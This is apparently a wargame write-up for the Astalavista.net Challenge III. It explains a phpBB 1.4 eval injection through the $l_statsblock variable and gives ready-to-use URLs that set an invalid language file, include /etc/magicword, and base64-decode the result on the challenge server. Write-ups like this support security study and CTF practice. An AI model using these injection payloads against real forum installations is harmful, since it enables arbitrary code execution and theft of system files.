White paper for PHPBB 1.4 language exploit attack.

In Astalavista.net Wargames Server Challenge III the object of task #3 is to view the file /etc/magic-word and decrypt the password in it. While completing the first challenge. I discovered a PHPBB Language attack which allows you to arbitrarily execute any command, including viewing and readable system file. The system does a “eval($l_statsblock);” at one point, which means if we can override $l_statsblock then we can have it output whatever we want. The easiest way to clear the $l_statsblock is to set an invalid language file for yourself, we can then pass the variable through the webpage as a parameter, and PHP will happily execute whatever we tell it to.

Step by step
1)Create a username on the PHPBB 1.4 system in question.
2)Overwrite the language setting in your profile by doing the following:
http://212.254.194.174/phpBB/prefs.php?viewemail=1&savecookie=0&sig=0&smile=0&dishtml=0&disbbcode=0&themes=2&lang=THIS_IS_AN_INVALID_LANG_FILE&save=1&user=&submit=Gravar+Prefer%EAncias
3)Now, exploit the unprotected $l_statsblock by entering the following url into the URL window:
http://212.254.194.174/phpBB/prefs.php?teste=/etc/magicword&l_statsblock=include($teste);
4)So, we have the word, but it is all garbled... The clue in the challenge says we may need to “decrypt” the word. Lets see if the word is base64 encrypted using our exploit:
http://212.254.194.174/phpBB/prefs.php?teste=c2VjdXJpdHlfaXNfZm9yX3doZWVuaWVz&l_statsblock=print(base64_decode($teste));
5)There you have it. The “magic word” in plain text.

Props where Props are due, I found most of this info via this website http://cert.uni-stuttgart.de/archive/bugtraq/2001/08/msg00087.html , just had to custom it for the contest.

by
Jaystar for the Astalavista.net Wargames Challenge III